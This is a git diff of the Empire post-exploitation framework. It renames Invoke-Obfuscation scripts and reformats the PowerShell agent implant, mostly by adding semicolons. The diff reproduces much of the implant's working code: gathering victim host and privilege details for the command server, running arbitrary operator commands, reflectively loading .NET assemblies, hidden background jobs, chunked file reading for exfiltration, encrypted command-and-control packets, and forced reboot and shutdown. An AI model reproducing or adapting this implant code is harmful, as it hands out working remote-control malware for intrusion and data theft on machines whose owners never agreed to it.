diff --git a/empire/server/powershell/Invoke-Obfuscation/Out-ObfuscatedTokenCommand.ps1 b/empire/server/data/Invoke-Obfuscation/Out-ObfuscatedTokenCommand.ps1
similarity index 100%
rename from empire/server/powershell/Invoke-Obfuscation/Out-ObfuscatedTokenCommand.ps1
rename to empire/server/data/Invoke-Obfuscation/Out-ObfuscatedTokenCommand.ps1
diff --git a/empire/server/powershell/Invoke-Obfuscation/Out-PowerShellLauncher.ps1 b/empire/server/data/Invoke-Obfuscation/Out-PowerShellLauncher.ps1
similarity index 100%
rename from empire/server/powershell/Invoke-Obfuscation/Out-PowerShellLauncher.ps1
rename to empire/server/data/Invoke-Obfuscation/Out-PowerShellLauncher.ps1
diff --git a/empire/server/powershell/Invoke-Obfuscation/Out-SecureStringCommand.ps1 b/empire/server/data/Invoke-Obfuscation/Out-SecureStringCommand.ps1
similarity index 100%
rename from empire/server/powershell/Invoke-Obfuscation/Out-SecureStringCommand.ps1
rename to empire/server/data/Invoke-Obfuscation/Out-SecureStringCommand.ps1
diff --git a/empire/server/powershell/Invoke-Obfuscation/README.md b/empire/server/data/Invoke-Obfuscation/README.md
similarity index 100%
rename from empire/server/powershell/Invoke-Obfuscation/README.md
rename to empire/server/data/Invoke-Obfuscation/README.md
diff --git a/empire/server/data/agent/agent.ps1 b/empire/server/data/agent/agent.ps1
index 86c68a3c4..69146d54e 100644
--- a/empire/server/data/agent/agent.ps1
+++ b/empire/server/data/agent/agent.ps1
@@ -90,25 +90,25 @@ function Invoke-Empire {
#
############################################################
- $Encoding = [System.Text.Encoding]::ASCII
- $HMAC = New-Object System.Security.Cryptography.HMACSHA256
-
- $script:AgentDelay = $AgentDelay
- $script:AgentJitter = $AgentJitter
- $script:LostLimit = $LostLimit
- $script:MissedCheckins = 0
- $script:ResultIDs = @{}
- $script:WorkingHours = $WorkingHours
- $script:DefaultResponse = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($DefaultResponse))
- $script:Proxy = $ProxySettings
- $script:CurrentListenerName = ""
+ $Encoding = [System.Text.Encoding]::ASCII;
+ $HMAC = New-Object System.Security.Cryptography.HMACSHA256;
+
+ $script:AgentDelay = $AgentDelay;
+ $script:AgentJitter = $AgentJitter;
+ $script:LostLimit = $LostLimit;
+ $script:MissedCheckins = 0;
+ $script:ResultIDs = @{};
+ $script:WorkingHours = $WorkingHours;
+ $script:DefaultResponse = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($DefaultResponse));
+ $script:Proxy = $ProxySettings;
+ $script:CurrentListenerName = "";
# the currently active server
- $Script:ServerIndex = 0
- $Script:ControlServers = $Servers
+ $Script:ServerIndex = 0;
+ $Script:ControlServers = $Servers;
# the number of times to retry server connections, i.e. the 'lost limit
- $Retries = 1
+ $Retries = 1;
# set a kill date of $KillDays out if specified
if($KillDays) {
@@ -124,25 +124,25 @@ function Invoke-Empire {
# uris(comma separated)|UserAgent|header1=val|header2=val2...
# headers are optional. format is "key:value"
# ex- cookies are "cookie:blah=123;meh=456"
- $ProfileParts = $Profile.split('|')
- $script:TaskURIs = $ProfileParts[0].split(',')
- $script:UserAgent = $ProfileParts[1]
- $script:SessionID = $SessionID
- $script:Headers = @{}
+ $ProfileParts = $Profile.split('|');
+ $script:TaskURIs = $ProfileParts[0].split(',');
+ $script:UserAgent = $ProfileParts[1];
+ $script:SessionID = $SessionID;
+ $script:Headers = @{};
# add any additional request headers if there are any specified in the profile
if($ProfileParts[2]) {
$ProfileParts[2..$ProfileParts.length] | ForEach-Object {
- $Parts = $_.Split(':')
- $script:Headers.Add($Parts[0],$Parts[1])
+ $Parts = $_.Split(':');
+ $script:Headers.Add($Parts[0],$Parts[1]);
}
}
# keep track of all background jobs
# format: {'RandomJobName' : @{'Alias'=$RandName; 'AppDomain'=$AppDomain; 'PSHost'=$PSHost; 'Job'=$Job; 'Buffer'=$Buffer}, ... }
- $Script:Jobs = @{}
- $Script:Downloads = @{}
+ $Script:Jobs = @{};
+ $Script:Downloads = @{};
# the currently imported script held in memory
- $script:ImportedScript = ''
+ $script:ImportedScript = '';
############################################################
#
@@ -175,80 +175,81 @@ function Invoke-Empire {
function Get-HexString {
param([byte]$Data)
- ($Data | ForEach-Object { "{0:X2}" -f $_ }) -join ' '
+ ($Data | ForEach-Object { "{0:X2}" -f $_ }) -join ' ';
}
function Set-Delay {
param([int]$d, [double]$j=0.0)
- $script:AgentDelay = $d
- $script:AgentJitter = $j
- "agent interval set to $script:AgentDelay seconds with a jitter of $script:AgentJitter"
+ $script:AgentDelay = $d;
+ $script:AgentJitter = $j;
+ "agent interval set to $script:AgentDelay seconds with a jitter of $script:AgentJitter";
}
function Get-Delay {
- "agent interval delay interval: $script:AgentDelay seconds with a jitter of $script:AgentJitter"
+ "agent interval delay interval: $script:AgentDelay seconds with a jitter of $script:AgentJitter";
}
function Set-LostLimit {
param([int]$l)
- $script:LostLimit = $l
+ $script:LostLimit = $l;
if($l -eq 0)
{
- "agent set to never die based on checkin Limit"
+ "agent set to never die based on checkin Limit";
}
else
{
- "agent LostLimit set to $script:LostLimit"
+ "agent LostLimit set to $script:LostLimit";
}
}
function Get-LostLimit {
- "agent LostLimit: $script:LostLimit"
+ "agent LostLimit: $script:LostLimit";
}
function Set-Killdate {
param([string]$date)
- $script:KillDate = $date
- "agent killdate set to $script:KillDate"
+ $script:KillDate = $date;
+ "agent killdate set to $script:KillDate";
}
function Get-Killdate {
- "agent killdate: $script:KillDate"
+ "agent killdate: $script:KillDate";
}
function Set-WorkingHours {
param([string]$hours)
- $script:WorkingHours = $hours
- "agent working hours set to $($script:WorkingHours)"
+ $script:WorkingHours = $hours;
+ "agent working hours set to $($script:WorkingHours)";
}
function Get-WorkingHours {
- "agent working hours: $($script:WorkingHours)"
+ "agent working hours: $($script:WorkingHours)";
}
function Get-Sysinfo {
- $str = '0|' # no nonce for normal execution
- $str += $Script:ControlServers[$Script:ServerIndex]
+ # no nonce for normal execution
+ $str = '0|';
+ $str += $Script:ControlServers[$Script:ServerIndex];
$str += '|' + [Environment]::UserDomainName+'|'+[Environment]::UserName+'|'+[Environment]::MachineName;
$p = (Get-WmiObject Win32_NetworkAdapterConfiguration|Where{$_.IPAddress}|Select -Expand IPAddress);
$ip = @{$true=$p[0];$false=$p}[$p.Length -lt 6];
#if(!$ip -or $ip.trim() -eq '') {$ip='0.0.0.0'};
- $str+="|$ip"
+ $str+="|$ip";
$str += '|' +(Get-WmiObject Win32_OperatingSystem).Name.split('|')[0];
# if we're SYSTEM, we're high integrity
if(([Environment]::UserName).ToLower() -eq 'system') {
- $str += '|True'
+ $str += '|True';
}
else{
# otherwise check the token groups
- $str += '|'+ ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] 'Administrator')
+ $str += '|'+ ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] 'Administrator');
}
$n = [System.Diagnostics.Process]::GetCurrentProcess();
$str += '|'+$n.ProcessName+'|'+$n.Id;
$str += "|powershell|" + $PSVersionTable.PSVersion.Major;
$str += "|" + $env:PROCESSOR_ARCHITECTURE;
- $str
+ $str;
}
# # TODO: add additional callback servers ?
@@ -265,58 +266,58 @@ function Invoke-Empire {
# UNC path normalization for PowerShell
if ($cmdargs -like "*`"\\*") {
- $cmdargs = $cmdargs -replace "`"\\","FileSystem::`"\"
+ $cmdargs = $cmdargs -replace "`"\\","FileSystem::`"\";
}
elseif ($cmdargs -like "*\\*") {
- $cmdargs = $cmdargs -replace "\\\\","FileSystem::\\"
+ $cmdargs = $cmdargs -replace "\\\\","FileSystem::\\";
}
- $output = ''
+ $output = '';
if ($cmd.ToLower() -eq 'shell') {
# if we have a straight 'shell' command, skip the aliases
- if ($cmdargs.length -eq '') { $output = 'no shell command supplied' }
+ if ($cmdargs.length -eq '') { $output = 'no shell command supplied' };
else {
- $OldConsoleOut = [Console]::Out
- $StringWriter = New-Object IO.StringWriter
- [Console]::SetOut($StringWriter)
- $output = iex "$cmdargs" | out-string
+ $OldConsoleOut = [Console]::Out;
+ $StringWriter = New-Object IO.StringWriter;
+ [Console]::SetOut($StringWriter);
+ $output = iex "$cmdargs" | out-string;
#for somereason this was quoted again and it shouldn't need to be
#$output = iex $cmdargs
- [Console]::SetOut($OldConsoleOut)
+ [Console]::SetOut($OldConsoleOut);
if ($output.length -eq 0){
- $output = $StringWriter.ToString()
+ $output = $StringWriter.ToString();
}
}
- $output += "`n`r"
+ $output += "`n`r";
}
elseif ($cmd.ToLower() -eq 'reflectiveload'){
- if ($cmdargs.length -eq '') { $output = 'no binary supplied' }
+ if ($cmdargs.length -eq '') { $output = 'no binary supplied' };
else{
- $assembly = [System.Reflection.Assembly]::Load([Convert]::FromBase64String($cmdargs))
- $output = "`n`r Reflective Load Complete"
+ $assembly = [System.Reflection.Assembly]::Load([Convert]::FromBase64String($cmdargs));
+ $output = "`n`r Reflective Load Complete";
}
}
else {
switch -regex ($cmd) {
'(ls|^dir)' {
if ($cmdargs.length -eq "") {
- $output = Get-ChildItem -force | select mode,@{Name="Owner";Expression={(Get-Acl $_.FullName).Owner }},@{Name="LastWriteTime";Expression={($_.LastWriteTime.ToString("u"))}},length,name | ConvertTo-Json
+ $output = Get-ChildItem -force | select mode,@{Name="Owner";Expression={(Get-Acl $_.FullName).Owner }},@{Name="LastWriteTime";Expression={($_.LastWriteTime.ToString("u"))}},length,name | ConvertTo-Json;
}
else {
try{
- $output = IEX "$cmd $cmdargs -Force -ErrorAction Stop" | select mode,@{Name="Owner";Expression={ (Get-Acl $_.FullName).Owner }},@{Name="LastWriteTime";Expression={($_.LastWriteTime.ToString("u"))}},length,name | ConvertTo-Json
+ $output = IEX "$cmd $cmdargs -Force -ErrorAction Stop" | select mode,@{Name="Owner";Expression={ (Get-Acl $_.FullName).Owner }},@{Name="LastWriteTime";Expression={($_.LastWriteTime.ToString("u"))}},length,name | ConvertTo-Json;
}
catch [System.Management.Automation.ActionPreferenceStopException] {
- $output = "[!] Error: $_ (or cannot be accessed)."
+ $output = "[!] Error: $_ (or cannot be accessed).";
}
}
}
'(mv|move|copy|cp|rm|del|rmdir|mkdir)' {
if ($cmdargs.length -ne "") {
try {
- IEX "$cmd $cmdargs -Force -ErrorAction Stop"
- $output = "executed $cmd $cmdargs"
+ IEX "$cmd $cmdargs -Force -ErrorAction Stop";
+ $output = "executed $cmd $cmdargs";
}
catch {
$output=$_.Exception;
@@ -326,96 +327,96 @@ function Invoke-Empire {
cd {
if ($cmdargs.length -ne '')
{
- $cmdargs = $cmdargs.trim("`"").trim("'")
- cd "$cmdargs"
- $output = pwd
+ $cmdargs = $cmdargs.trim("`"").trim("'");
+ cd "$cmdargs";
+ $output = pwd;
}
}
'(ipconfig|ifconfig)' {
$output = Get-WmiObject -class 'Win32_NetworkAdapterConfiguration' | ? {$_.IPEnabled -Match 'True'} | ForEach-Object {
- $out = New-Object psobject
- $out | Add-Member Noteproperty 'Description' $_.Description
- $out | Add-Member Noteproperty 'MACAddress' $_.MACAddress
- $out | Add-Member Noteproperty 'DHCPEnabled' $_.DHCPEnabled
- $out | Add-Member Noteproperty 'IPAddress' $($_.IPAddress -join ",")
- $out | Add-Member Noteproperty 'IPSubnet' $($_.IPSubnet -join ",")
- $out | Add-Member Noteproperty 'DefaultIPGateway' $($_.DefaultIPGateway -join ",")
- $out | Add-Member Noteproperty 'DNSServer' $($_.DNSServerSearchOrder -join ",")
- $out | Add-Member Noteproperty 'DNSHostName' $_.DNSHostName
- $out | Add-Member Noteproperty 'DNSSuffix' $($_.DNSDomainSuffixSearchOrder -join ",")
+ $out = New-Object psobject;
+ $out | Add-Member Noteproperty 'Description' $_.Description;
+ $out | Add-Member Noteproperty 'MACAddress' $_.MACAddress;
+ $out | Add-Member Noteproperty 'DHCPEnabled' $_.DHCPEnabled;
+ $out | Add-Member Noteproperty 'IPAddress' $($_.IPAddress -join ",");
+ $out | Add-Member Noteproperty 'IPSubnet' $($_.IPSubnet -join ",");
+ $out | Add-Member Noteproperty 'DefaultIPGateway' $($_.DefaultIPGateway -join ",");
+ $out | Add-Member Noteproperty 'DNSServer' $($_.DNSServerSearchOrder -join ",");
+ $out | Add-Member Noteproperty 'DNSHostName' $_.DNSHostName;
+ $out | Add-Member Noteproperty 'DNSSuffix' $($_.DNSDomainSuffixSearchOrder -join ",");
$out
- } | ConvertTo-Json
+ } | ConvertTo-Json;
}
# this is stupid how complicated it is to get this information...
'(ps|tasklist)' {
- $owners = @{}
- Get-WmiObject win32_process | ForEach-Object {$o = $_.getowner(); if(-not $($o.User)) {$o='N/A'} else {$o="$($o.Domain)\$($o.User)"}; $owners[$_.handle] = $o}
+ $owners = @{};
+ Get-WmiObject win32_process | ForEach-Object {$o = $_.getowner(); if(-not $($o.User)) {$o='N/A'} else {$o="$($o.Domain)\$($o.User)"}; $owners[$_.handle] = $o};
if($cmdargs -ne '') { $p = $cmdargs }
- else{ $p = "*" }
+ else{ $p = "*" };
$output = Get-Process $p | ForEach-Object {
- $arch = 'x64'
+ $arch = 'x64';
if ([System.IntPtr]::Size -eq 4) {
$arch = 'x86'
}
else{
foreach($module in $_.modules) {
if([System.IO.Path]::GetFileName($module.FileName).ToLower() -eq "wow64.dll") {
- $arch = 'x86'
+ $arch = 'x86';
break
}
}
}
- $out = New-Object psobject
- $out | Add-Member Noteproperty 'ProcessName' $_.ProcessName
- $out | Add-Member Noteproperty 'PID' $_.ID
- $out | Add-Member Noteproperty 'Arch' $arch
- $out | Add-Member Noteproperty 'UserName' $owners[$_.id.tostring()]
- $mem = "{0:N2} MB" -f $($_.WS/1MB)
- $out | Add-Member Noteproperty 'MemUsage' $mem
- $out
- } | Sort-Object -Property PID | ConvertTo-Json
+ $out = New-Object psobject;
+ $out | Add-Member Noteproperty 'ProcessName' $_.ProcessName;
+ $out | Add-Member Noteproperty 'PID' $_.ID;
+ $out | Add-Member Noteproperty 'Arch' $arch;
+ $out | Add-Member Noteproperty 'UserName' $owners[$_.id.tostring()];
+ $mem = "{0:N2} MB" -f $($_.WS/1MB);
+ $out | Add-Member Noteproperty 'MemUsage' $mem;
+ $out;
+ } | Sort-Object -Property PID | ConvertTo-Json;
}
getpid { $output = [System.Diagnostics.Process]::GetCurrentProcess() }
route {
if (($cmdargs.length -eq '') -or ($cmdargs.ToLower() -eq 'print')) {
# build a table of adapter interfaces indexes -> IP address for the adapater
- $adapters = @{}
- Get-WmiObject Win32_NetworkAdapterConfiguration | ForEach-Object { $adapters[[int]($_.InterfaceIndex)] = $_.IPAddress }
+ $adapters = @{};
+ Get-WmiObject Win32_NetworkAdapterConfiguration | ForEach-Object { $adapters[[int]($_.InterfaceIndex)] = $_.IPAddress };
$output = Get-WmiObject win32_IP4RouteTable | ForEach-Object {
- $out = New-Object psobject
- $out | Add-Member Noteproperty 'Destination' $_.Destination
- $out | Add-Member Noteproperty 'Netmask' $_.Mask
+ $out = New-Object psobject;
+ $out | Add-Member Noteproperty 'Destination' $_.Destination;
+ $out | Add-Member Noteproperty 'Netmask' $_.Mask;
if ($_.NextHop -eq "0.0.0.0") {
- $out | Add-Member Noteproperty 'NextHop' 'On-link'
+ $out | Add-Member Noteproperty 'NextHop' 'On-link';
}
else{
- $out | Add-Member Noteproperty 'NextHop' $_.NextHop
+ $out | Add-Member Noteproperty 'NextHop' $_.NextHop;
}
if($adapters[$_.InterfaceIndex] -and ($adapters[$_.InterfaceIndex] -ne "")) {
- $out | Add-Member Noteproperty 'Interface' $($adapters[$_.InterfaceIndex] -join ",")
+ $out | Add-Member Noteproperty 'Interface' $($adapters[$_.InterfaceIndex] -join ",");
}
else {
- $out | Add-Member Noteproperty 'Interface' '127.0.0.1'
+ $out | Add-Member Noteproperty 'Interface' '127.0.0.1';
}
- $out | Add-Member Noteproperty 'Metric' $_.Metric1
- $out
- } | ConvertTo-Json
+ $out | Add-Member Noteproperty 'Metric' $_.Metric1;
+ $out;
+ } | ConvertTo-Json;
}
- else { $output = route $cmdargs }
+ else { $output = route $cmdargs };
}
- '(whoami|getuid)' { $output = [Security.Principal.WindowsIdentity]::GetCurrent().Name }
+ '(whoami|getuid)' { $output = [Security.Principal.WindowsIdentity]::GetCurrent().Name };
hostname {
- $output = [System.Net.Dns]::GetHostByName(($env:computerName))
+ $output = [System.Net.Dns]::GetHostByName(($env:computerName));
}
- '(reboot|restart)' { Restart-Computer -force }
- shutdown { Stop-Computer -force }
+ '(reboot|restart)' { Restart-Computer -force };
+ shutdown { Stop-Computer -force };
default {
if ($cmdargs.length -eq '') { $output = IEX $cmd | Out-String }
- else { $output = IEX "$cmd $cmdargs" | Out-String }
+ else { $output = IEX "$cmd $cmdargs" | Out-String };
}
}
}
- "`n"+($output)
+ "`n"+($output);
}
# takes a string representing a PowerShell script to run, build a new
@@ -424,34 +425,34 @@ function Invoke-Empire {
function Start-AgentJob {
param($ScriptString)
- $RandName = -join("ABCDEFGHKLMNPRSTUVWXYZ123456789".ToCharArray()|Get-Random -Count 6)
+ $RandName = -join("ABCDEFGHKLMNPRSTUVWXYZ123456789".ToCharArray()|Get-Random -Count 6);
# create our new AppDomain
- $AppDomain = [AppDomain]::CreateDomain($RandName)
+ $AppDomain = [AppDomain]::CreateDomain($RandName);
# load the PowerShell dependency assemblies in the new runspace and instantiate a PS runspace
- $PSHost = $AppDomain.Load([PSObject].Assembly.FullName).GetType('System.Management.Automation.PowerShell')::Create()
+ $PSHost = $AppDomain.Load([PSObject].Assembly.FullName).GetType('System.Management.Automation.PowerShell')::Create();
# add the target script into the new runspace/appdomain
- $null = $PSHost.AddScript($ScriptString)
+ $null = $PSHost.AddScript($ScriptString);
# stupid v2 compatibility...
- $Buffer = New-Object 'System.Management.Automation.PSDataCollection[PSObject]'
- $PSobjectCollectionType = [Type]'System.Management.Automation.PSDataCollection[PSObject]'
- $BeginInvoke = ($PSHost.GetType().GetMethods() | ? { $_.Name -eq 'BeginInvoke' -and $_.GetParameters().Count -eq 2 }).MakeGenericMethod(@([PSObject], [PSObject]))
+ $Buffer = New-Object 'System.Management.Automation.PSDataCollection[PSObject]';
+ $PSobjectCollectionType = [Type]'System.Management.Automation.PSDataCollection[PSObject]';
+ $BeginInvoke = ($PSHost.GetType().GetMethods() | ? { $_.Name -eq 'BeginInvoke' -and $_.GetParameters().Count -eq 2 }).MakeGenericMethod(@([PSObject], [PSObject]));
# kick off asynchronous execution
- $Job = $BeginInvoke.Invoke($PSHost, @(($Buffer -as $PSobjectCollectionType), ($Buffer -as $PSobjectCollectionType)))
+ $Job = $BeginInvoke.Invoke($PSHost, @(($Buffer -as $PSobjectCollectionType), ($Buffer -as $PSobjectCollectionType)));
- $Script:Jobs[$RandName] = @{'Alias'=$RandName; 'AppDomain'=$AppDomain; 'PSHost'=$PSHost; 'Job'=$Job; 'Buffer'=$Buffer}
- $RandName
+ $Script:Jobs[$RandName] = @{'Alias'=$RandName; 'AppDomain'=$AppDomain; 'PSHost'=$PSHost; 'Job'=$Job; 'Buffer'=$Buffer};
+ $RandName;
}
# returns $True if the specified job is completed, $False otherwise
function Get-AgentJobCompleted {
param($JobName)
if($Script:Jobs.ContainsKey($JobName)) {
- $Script:Jobs[$JobName]['Job'].IsCompleted
+ $Script:Jobs[$JobName]['Job'].IsCompleted;
}
}
@@ -459,7 +460,7 @@ function Invoke-Empire {
function Receive-AgentJob {
param($JobName)
if($Script:Jobs.ContainsKey($JobName)) {
- $Script:Jobs[$JobName]['Buffer'].ReadAll()
+ $Script:Jobs[$JobName]['Buffer'].ReadAll();
}
}
@@ -469,12 +470,12 @@ function Invoke-Empire {
param($JobName)
if($Script:Jobs.ContainsKey($JobName)) {
# kill the PS host
- $Null = $Script:Jobs[$JobName]['PSHost'].Stop()
+ $Null = $Script:Jobs[$JobName]['PSHost'].Stop();
# get results
- $Script:Jobs[$JobName]['Buffer'].ReadAll()
+ $Script:Jobs[$JobName]['Buffer'].ReadAll();
# unload the app domain runner
- $Null = [AppDomain]::Unload($Script:Jobs[$JobName]['AppDomain'])
- $Script:Jobs.Remove($JobName)
+ $Null = [AppDomain]::Unload($Script:Jobs[$JobName]['AppDomain']);
+ $Script:Jobs.Remove($JobName);
}
}
@@ -486,21 +487,21 @@ function Invoke-Empire {
# uris(comma separated)|UserAgent|header1=val|header2=val2...
# headers are optional. format is "key:value"
# ex- cookies are "cookie:blah=123;meh=456"
- $ProfileParts = $Profile.split('|')
- $script:TaskURIs = $ProfileParts[0].split(',')
- $script:UserAgent = $ProfileParts[1]
- $script:SessionID = $SessionID
- $script:Headers = @{}
+ $ProfileParts = $Profile.split('|');
+ $script:TaskURIs = $ProfileParts[0].split(',');
+ $script:UserAgent = $ProfileParts[1];
+ $script:SessionID = $SessionID;
+ $script:Headers = @{};
# add any additional request headers if there are any specified in the profile
if($ProfileParts[2]) {
$ProfileParts[2..$ProfileParts.length] | ForEach-Object {
- $Parts = $_.Split(':')
- $script:Headers.Add($Parts[0],$Parts[1])
+ $Parts = $_.Split(':');
+ $script:Headers.Add($Parts[0],$Parts[1]);
}
}
- "Agent updated with profile $Profile"
+ "Agent updated with profile $Profile";
}
# get a binary part of a file based on $Index and $ChunkSize
@@ -515,55 +516,55 @@ function Invoke-Empire {
)
try {
- $f = Get-Item "$File"
- $FileLength = $f.length
- $FromFile = [io.file]::OpenRead($File)
+ $f = Get-Item "$File";
+ $FileLength = $f.length;
+ $FromFile = [io.file]::OpenRead($File);
if ($FileLength -lt $ChunkSize) {
if($Index -eq 0) {
- $buff = new-object byte[] $FileLength
- $count = $FromFile.Read($buff, 0, $buff.Length)
+ $buff = new-object byte[] $FileLength;
+ $count = $FromFile.Read($buff, 0, $buff.Length);
if($NoBase64) {
- $buff
+ $buff;
}
else{
- [System.Convert]::ToBase64String($buff)
+ [System.Convert]::ToBase64String($buff);
}
}
else{
- $Null
+ $Null;
}
}
else{
- $buff = new-object byte[] $ChunkSize
- $Start = $Index * $($ChunkSize)
+ $buff = new-object byte[] $ChunkSize;
+ $Start = $Index * $($ChunkSize);
- $null = $FromFile.Seek($Start,0)
+ $null = $FromFile.Seek($Start,0);
- $count = $FromFile.Read($buff, 0, $buff.Length)
+ $count = $FromFile.Read($buff, 0, $buff.Length);
if ($count -gt 0) {
if($count -ne $ChunkSize) {
# if we're on the last file chunk
# create a new array of the appropriate length
- $buff2 = new-object byte[] $count
+ $buff2 = new-object byte[] $count;
# and copy the relevant data into it
- [array]::copy($buff, $buff2, $count)
+ [array]::copy($buff, $buff2, $count);
if($NoBase64) {
$buff2
}
else{
- [System.Convert]::ToBase64String($buff2)
+ [System.Convert]::ToBase64String($buff2);
}
}
else{
if($NoBase64) {
- $buff
+ $buff;
}
else{
- [System.Convert]::ToBase64String($buff)
+ [System.Convert]::ToBase64String($buff);
}
}
}
@@ -574,7 +575,7 @@ function Invoke-Empire {
}
catch{}
finally {
- $FromFile.Close()
+ $FromFile.Close();
}
}
@@ -587,7 +588,7 @@ function Invoke-Empire {
function Encrypt-Bytes {
param($bytes)
# get a random IV
- $IV = [byte] 0..255 | Get-Random -count 16
+ $IV = [byte] 0..255 | Get-Random -count 16;
try {
$AES=New-Object System.Security.Cryptography.AesCryptoServiceProvider;
}
@@ -639,22 +640,22 @@ function Invoke-Empire {
# RESULT_POST = 5
if($EncData) {
- $EncDataLen = $EncData.Length
+ $EncDataLen = $EncData.Length;
}
else {
- $EncDataLen = 0
+ $EncDataLen = 0;
}
- $SKB = $Encoding.GetBytes($StagingKey)
+ $SKB = $Encoding.GetBytes($StagingKey);
$IV=[BitConverter]::GetBytes($(Get-Random));
- $Data = $Encoding.GetBytes($script:SessionID) + @(0x01,$Meta,0x00,0x00) + [BitConverter]::GetBytes($EncDataLen)
- $RoutingPacketData = ConvertTo-Rc4ByteStream -In $Data -RCK $($IV+$SKB)
+ $Data = $Encoding.GetBytes($script:SessionID) + @(0x01,$Meta,0x00,0x00) + [BitConverter]::GetBytes($EncDataLen);
+ $RoutingPacketData = ConvertTo-Rc4ByteStream -In $Data -RCK $($IV+$SKB);
if($EncData) {
- ($IV + $RoutingPacketData + $EncData)
+ ($IV + $RoutingPacketData + $EncData);
}
else {
- ($IV + $RoutingPacketData)
+ ($IV + $RoutingPacketData);
}
}
@@ -678,40 +679,40 @@ function Invoke-Empire {
if ($PacketData.Length -ge 20) {
- $Offset = 0
+ $Offset = 0;
while($Offset -lt $PacketData.Length) {
# extract out the routing packet fields
- $RoutingPacket = $PacketData[($Offset+0)..($Offset+19)]
- $RoutingIV = $RoutingPacket[0..3]
- $RoutingEncData = $RoutingPacket[4..19]
- $Offset += 20
+ $RoutingPacket = $PacketData[($Offset+0)..($Offset+19)];
+ $RoutingIV = $RoutingPacket[0..3];
+ $RoutingEncData = $RoutingPacket[4..19];
+ $Offset += 20;
# get the staging key bytes
- $SKB = $Encoding.GetBytes($StagingKey)
+ $SKB = $Encoding.GetBytes($StagingKey);
# decrypt the routing packet
- $RoutingData = ConvertTo-Rc4ByteStream -In $RoutingEncData -RCK $($RoutingIV+$SKB)
- $PacketSessionID = [System.Text.Encoding]::UTF8.GetString($RoutingData[0..7])
+ $RoutingData = ConvertTo-Rc4ByteStream -In $RoutingEncData -RCK $($RoutingIV+$SKB);
+ $PacketSessionID = [System.Text.Encoding]::UTF8.GetString($RoutingData[0..7]);
# write-host "PacketSessionID: $PacketSessionID"
# write-host "RoutingData len: $($RoutingData)"
# write-host "$([System.BitConverter]::ToString($RoutingData[0..15]))"
- $Language = $RoutingData[8]
- $Meta = $RoutingData[9]
+ $Language = $RoutingData[8];
+ $Meta = $RoutingData[9];
# write-host "Meta: $Meta"
- $Extra = $RoutingData[10..11]
- $PacketLength = [BitConverter]::ToUInt32($RoutingData, 12)
-
+ $Extra = $RoutingData[10..11];
+ $PacketLength = [BitConverter]::ToUInt32($RoutingData, 12);
+
if ($PacketLength -lt 0) {
# Write-Host "Invalid PacketLength: $PacketLength"
- break
+ break;
}
if ($PacketSessionID -eq $script:SessionID) {
# if this tasking is for us
- $EncData = $PacketData[$Offset..($Offset+$PacketLength-1)]
- $Offset += $PacketLength
- Process-TaskingPackets $EncData
+ $EncData = $PacketData[$Offset..($Offset+$PacketLength-1)];
+ $Offset += $PacketLength;
+ Process-TaskingPackets $EncData;
}
else {
# TODO: forward taskings on to other clients?
@@ -725,7 +726,7 @@ function Invoke-Empire {
function Encode-Packet {
param([Int16]$type, $data, [Int16]$ResultID=0)
- <#
+ <#
encode a packet for transport:
+------+--------------------+----------+---------+--------+-----------+
| Type | total # of packets | packet # | task ID | Length | task data |
@@ -736,27 +737,27 @@ function Invoke-Empire {
# in case we get a result array, make sure we join everything up
if ($data -is [System.Array]) {
- $data = $data -join "`n"
+ $data = $data -join "`n";
}
# convert data to base64 so we can support all encodings and handle on server side
- $data = [System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($data))
+ $data = [System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($data));
- $packet = New-Object Byte[] (12 + $data.Length)
+ $packet = New-Object Byte[] (12 + $data.Length);
# packet type
- ([BitConverter]::GetBytes($type)).CopyTo($packet, 0)
+ ([BitConverter]::GetBytes($type)).CopyTo($packet, 0);
# total number of packets
- ([BitConverter]::GetBytes([Int16]1)).CopyTo($packet, 2)
+ ([BitConverter]::GetBytes([Int16]1)).CopyTo($packet, 2);
# packet number
- ([BitConverter]::GetBytes([Int16]1)).CopyTo($packet, 4)
+ ([BitConverter]::GetBytes([Int16]1)).CopyTo($packet, 4);
# task/result ID
- ([BitConverter]::GetBytes($ResultID)).CopyTo($packet, 6)
+ ([BitConverter]::GetBytes($ResultID)).CopyTo($packet, 6);
# length
- ([BitConverter]::GetBytes($data.Length)).CopyTo($packet, 8)
- ([System.Text.Encoding]::UTF8.GetBytes($data)).CopyTo($packet, 12)
+ ([BitConverter]::GetBytes($data.Length)).CopyTo($packet, 8);
+ ([System.Text.Encoding]::UTF8.GetBytes($data)).CopyTo($packet, 12);
- $packet
+ $packet;
}
function Decode-Packet {
@@ -764,17 +765,17 @@ function Invoke-Empire {
# we're decoding the raw decrypted bytes to [type][# of packets][packet #][task ID][length][value][remaining packet data]
# the calling logic can keep looking through the data blob,
# decoding additional packets as needed
- $Type = [BitConverter]::ToUInt16($packet, 0+$offset)
- $TotalPackets = [BitConverter]::ToUInt16($packet, 2+$offset)
- $PacketNum = [BitConverter]::ToUInt16($packet, 4+$offset)
- $TaskID = [BitConverter]::ToUInt16($packet, 6+$offset)
- $Length = [BitConverter]::ToUInt32($packet, 8+$offset)
- $Data = [System.Text.Encoding]::UTF8.GetString($packet[(12+$offset)..(12+$Length+$offset-1)])
- $Remaining = [System.Text.Encoding]::UTF8.GetString($packet[(12+$Length+$offset)..($packet.Length)])
+ $Type = [BitConverter]::ToUInt16($packet, 0+$offset);
+ $TotalPackets = [BitConverter]::ToUInt16($packet, 2+$offset);
+ $PacketNum = [BitConverter]::ToUInt16($packet, 4+$offset);
+ $TaskID = [BitConverter]::ToUInt16($packet, 6+$offset);
+ $Length = [BitConverter]::ToUInt32($packet, 8+$offset);
+ $Data = [System.Text.Encoding]::UTF8.GetString($packet[(12+$offset)..(12+$Length+$offset-1)]);
+ $Remaining = [System.Text.Encoding]::UTF8.GetString($packet[(12+$Length+$offset)..($packet.Length)]);
Remove-Variable packet;
- @($Type, $TotalPackets, $PacketNum, $TaskID, $Length, $Data, $Remaining)
+ @($Type, $TotalPackets, $PacketNum, $TaskID, $Length, $Data, $Remaining);
}
@@ -783,9 +784,6 @@ function Invoke-Empire {
# C2 functions
#
############################################################
-
- REPLACE_COMMS
-
